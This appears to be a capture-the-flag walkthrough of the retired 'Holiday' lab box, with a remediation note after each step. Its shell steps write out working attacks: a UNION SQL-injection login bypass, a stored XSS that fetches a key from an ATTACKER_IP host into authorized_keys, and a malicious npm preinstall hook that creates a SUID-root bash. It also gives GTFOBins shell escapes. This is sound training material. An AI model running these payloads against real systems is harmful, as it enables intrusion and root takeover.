← all walkthroughs

Holiday

Linux· Hard· Web
owned
2026-07-09
time to own
40m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target holiday ($TARGET) runs a hotel booking web app on port 8000 that silently returned 404 responses to every request lacking a 'User-Agent: Linux' header, hiding the attack surface from standard scanners. A theme-matched credential guess ('RickA's password') authenticated to the internal agent portal; the same login form was also vulnerable to UNION-based SQL injection against its SQLite backend, providing an alternative authentication bypass without any valid password. From the authenticated portal, a booking-note field that filtered literal script tags but ignored eval-obfuscated HTML event-handler payloads was used to stage a stored cross-site scripting attack.

An internal headless browser reviewed booking notes as user algernon; the XSS payload caused it to fetch and install my own SSH public key into algernon's authorized_keys file, yielding an SSH shell and the user flag. From that shell, algernon's sudo right to run npm install with the --unsafe-perm flag was abused via a malicious package.json preinstall hook that copied bash to a SUID-root binary, completing full root compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"

Some commands also carry a value in angle brackets (<uuid>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1ReconnaissanceService enumeration; User-Agent header-based content gate bypass
Discovered exposed services and bypassed the User-Agent content gate
An nmap scan confirmed two exposed TCP ports: SSH on 22 (OpenSSH 7.2p2) and an Express.js web application on 8000. Plain HTTP requests to port 8000 returned 404 responses regardless of path, concealing the application from standard web scanners. Fuzzing the User-Agent header revealed that only requests presenting 'User-Agent: Linux' received real responses, exposing the full Holiday hotel booking portal. This security-by-obscurity gate was trivially bypassed once identified.
Nmap confirmed 22/tcp (OpenSSH 7.2p2) and 8000/tcp (Express.js); all requests without User-Agent: Linux returned 404; the correct header revealed the booking portal and /login, /agent routes.
Exact commands 3
shell

Fingerprint both exposed services.

$ nmap -p 22,8000 -sV --script http-title,http-headers,http-enum,http-methods $TARGET
shell

Without the header: returns 404, confirming the content gate.

$ curl -sS -i http://$TARGET:8000/
shell

With 'User-Agent: Linux'. Returns the full booking portal. Use this header on every subsequent request.

$ curl -sS -i -A Linux http://$TARGET:8000/
FixRemove the User-Agent content gateLow
WeaknessThe web application returned 404 to all requests without 'User-Agent: Linux', giving the false impression that no service ran on port 8000. This is security by obscurity: discovering or fuzzing the correct header value instantly bypassed the gate and exposed the entire application.
FixRemove the User-Agent check from application code entirely: it provides no meaningful access control. If the application must be restricted to specific consumers, enforce that at the network layer using firewall rules, a VPN, or a private subnet so that unauthorized clients cannot reach port 8000 at all.
2AuthenticationCredential guessing: theme-based weak password (CWE-521)
Authenticated to the agent portal with a guessable themed credential
The Holiday portal's login form accepted the credential pair RickA's password: a Rick Astley reference matching the application's Holiday branding. Successful login issued a connect.sid session cookie and redirected to the internal agent view at /agent, which exposed vacancy records at /vac/<uuid> and the booking-note review workflow that would later be weaponized.
POST /login with username=RickA&password=<withheld> returned HTTP 302 to /agent with a valid connect.sid session cookie.
Exact commands 2
shell

Authenticate with the themed credential; -c cookies.txt saves the session cookie.

$ curl -sS -i -A Linux -c cookies.txt -b cookies.txt -X POST http://$TARGET:8000/login -d "username=RickA&password=$PASSWORD"
shell

Confirm agent portal access and harvest /vac/<uuid> booking links for the next steps.

$ curl -sS -A Linux -b cookies.txt http://$TARGET:8000/agent
FixEnforce strong, unique passwords on all application accountsHigh
WeaknessThe account RickA used the password, a pop-culture phrase matching the application's Holiday theme. It was recovered on the first guess without any brute-force tooling, solely from the application's branding.
FixRequire randomly generated passwords of at least 16 characters with no dictionary words, phrases, or theme references. Implement account lockout after five consecutive failed login attempts and alert on repeated failures. Audit all existing accounts and force an immediate password reset for any using predictable or thematic passwords.
3ExploitationSQL Injection: UNION-based authentication bypass (CWE-89)
Confirmed SQL injection on /login and forged an admin session via UNION bypass
The login form's username parameter was interpolated directly into a SQLite query without parameterization. Sqlmap confirmed UNION-based injection on both the username and password fields and enumerated the SQLite_masterdb, revealing the 'users' and 'sessions' tables. A UNION payload that injected a synthetic row carrying the MD5 hash of a known plaintext (md5('pwn') = <withheld>) forged a valid credential check for the admin account, producing an authenticated session with no knowledge of any real password.
Sqlmap confirmed injectable username and password params against the SQLite backend; UNION SELECT payload returned HTTP 200 with a valid admin session cookie and redirect to /agent.
Exact commands 2
shell

Confirm the injection and enumerate the SQLite schema; look for 'users' and 'sessions' tables.

$ sqlmap -u "http://$TARGET:8000/login" --method=POST --data="username=RickA&password=$PASSWORD" -p username,password --headers='User-Agent: Linux' --batch --level=5 --risk=3 --current-db --tables
shell

UNION injection forges an admin login row; hash is md5('pwn'). Adjust shell quoting as needed for your environment.

$ curl -sS -A Linux -c bypass.txt -b bypass.txt -X POST http://$TARGET:8000/login -d $'username=x") UNION SELECT 1,\'admin\',\'$HASH\',1-- -&password=$PASSWORD'
FixReplace string-concatenated SQL queries with parameterized prepared statementsCritical
WeaknessThe /login route interpolated user-supplied username and password values directly into a SQL query string. A UNION-based injection bypassed authentication entirely and exposed every row in the users and sessions tables to an unauthorised user.
FixRewrite every database query to use parameterized prepared statements. For example, with Node.js better-sqlite3: const stmt = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?'); stmt.get(username, password). Run sqlmap against a staging copy of the hardened application to verify no injection points remain. As a defence-in-depth measure, restrict the database user to the minimum required privileges and add a server-side input length cap on the username field.
4ExploitationStored XSS with String.fromCharCode filter bypass (CWE-79, T1059.007)
Staged a stored XSS payload in a booking note to hijack algernon's browser session
The booking note field applied a filter that removed literal <script> tags but did not block JavaScript execution via HTML event handlers. An <img src=x onerror=eval(String.fromCharCode(...))> payload encoded the full exploit as a character-code sequence, evading the filter entirely. The payload was designed to fetch my SSH public key from my own HTTP listener and write it to algernon's authorized_keys. When the internal headless browser reviewed the note via the /o export endpoint, confirmed by an outbound callback to my listener, the payload executed in algernon's browser context.
GET /o?d=200_algernon%0A1%7C31%7C%3Cimg%20src%3Dx%20onerror%3Deval(String.from... Confirmed the payload rendered in algernon's headless browser; outbound HTTP callback from the bot to my listener verified execution.
Exact commands 3
shell

Generate the SSH keypair; the public key will be installed via the XSS payload.

$ ssh-keygen -t ed25519 -N '' -f /tmp/holiday_algernon_key
shell

Serve holiday_algernon_key.pub from my machine ($ATTACKER_IP). Confirm the port binds successfully before submitting the payload.

$ python3 -m http.server 8080
shell

Submit the obfuscated XSS as a booking note. <ENCODED_PAYLOAD> is the JS character-code array encoding a fetch() to http://$ATTACKER_IP:8080/holiday_algernon_key.pub followed by an XMLHttpRequest or shell command that appends the key to /home/algernon/.ssh/authorized_keys. <uuid> is a booking ID visible in the /agent listing.

$ curl -sS -A Linux -b cookies.txt -X POST http://$TARGET:8000/note -d 'booking_id=<uuid>&note=%3Cimg+src%3Dx+onerror%3Deval(String.fromCharCode(<ENCODED_PAYLOAD>))%3E'
FixApply strict HTML sanitization to booking notes and network-isolate the internal review browserCritical
WeaknessThe booking note field blocked literal <script> tags but allowed JavaScript execution via HTML event handlers (e.g., <img src=x onerror=...>). An unauthorised user encoded a complete exploit using String.fromCharCode() obfuscation, evading the partial filter. An internal headless browser running as algernon executed the payload when reviewing the note, allowing an unauthorised user to install an SSH key and take over algernon's account.
FixReplace the partial tag-blocking filter with a proven HTML allowlist library such as DOMPurify (with default settings) that strips all event handlers, javascript: URIs, and data: URIs before any user input is stored or rendered. Additionally, run the internal review browser in a fully network-isolated sandbox with no outbound connectivity so that even if a payload executes, it cannot reach externally controlled infrastructure or write sensitive files.
5FootholdUnauthorized SSH authorized_keys modification: T1098.004
Used the planted SSH key to log in as algernon and capture the user flag
The stored XSS payload executed inside algernon's headless browser fetched my SSH public key from me HTTP listener and appended it to algernon's ~/.ssh/authorized_keys. I then connected directly over SSH using the matching private key, landing a shell as algernon. The user flag was read from /home/algernon/user.txt.
SSH handshake: 'Permanently added $TARGET (ED25519) to the list of known hosts'; login session confirmed username algernon; user.txt captured.
Exact commands 1
shell

Authenticate with the planted private key; the output contains <user.txt>.

$ ssh -i /tmp/holiday_algernon_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null algernon@$TARGET 'id; cat /home/algernon/user.txt'
6Privilege EscalationSudo abuse: npm GTFOBins (T1548.003)
Exploited sudo npm install --unsafe-perm to run a preinstall hook as root
Running sudo -l on algernon's shell revealed permission to execute /usr/bin/npm install with the --unsafe-perm flag as root. That flag prevents npm from dropping privileges before running package lifecycle scripts, so any preinstall or postinstall script executes as the invoking user: root. A malicious package.json was written to /tmp/npmroot with a preinstall script that copied /bin/bash to /tmp/rbash and applied the SUID bit. Invoking sudo npm install in that directory executed the hook as root, creating a SUID-root bash binary. The root flag was read with /tmp/rbash -p.
Sudo /usr/bin/npm i. --unsafe-perm ran the preinstall hook; /tmp/rbash -p -c 'id' returned uid=0(root); root.txt captured.
Exact commands 4
shell

Run from algernon's SSH session to confirm the available sudo rule.

$ sudo -l
shell

Create the malicious package.json in /tmp/npmroot.

$ mkdir -p /tmp/npmroot && printf '%s' '{"scripts":{"preinstall":"cp /bin/bash /tmp/rbash; chmod 4755 /tmp/rbash"}}' > /tmp/npmroot/package.json
shell

Trigger the preinstall hook as root; creates SUID-root /tmp/rbash.

$ cd /tmp/npmroot && sudo /usr/bin/npm i . --unsafe-perm
shell

Invoke the SUID bash with -p to retain root privileges; output contains <root.txt>.

$ /tmp/rbash -p -c 'id; cat /root/root.txt'
uid=0(root)
FixRemove algernon's sudo right to run npm installCritical
Weaknessalgernon could run sudo /usr/bin/npm install --unsafe-perm, which executes package lifecycle scripts as root without dropping privileges. An unauthorised user with a shell as algernon could place a two-line package.json in any writable directory and obtain a root shell in under ten seconds.
FixRemove the npm entry from algernon's sudoers configuration immediately (visudo, then delete or comment the relevant line). Audit all other sudoers entries for similarly dangerous binaries (node, pip, gem, make, curl, wget) and remove or restrict each. If a privileged installation workflow is genuinely required, implement it as a dedicated service that accepts only cryptographically signed packages from a controlled allowlist, never arbitrary package.json files from user-writable paths.

Attack patterns used

The transferable techniques behind this compromise.

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary: e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
8000/tcp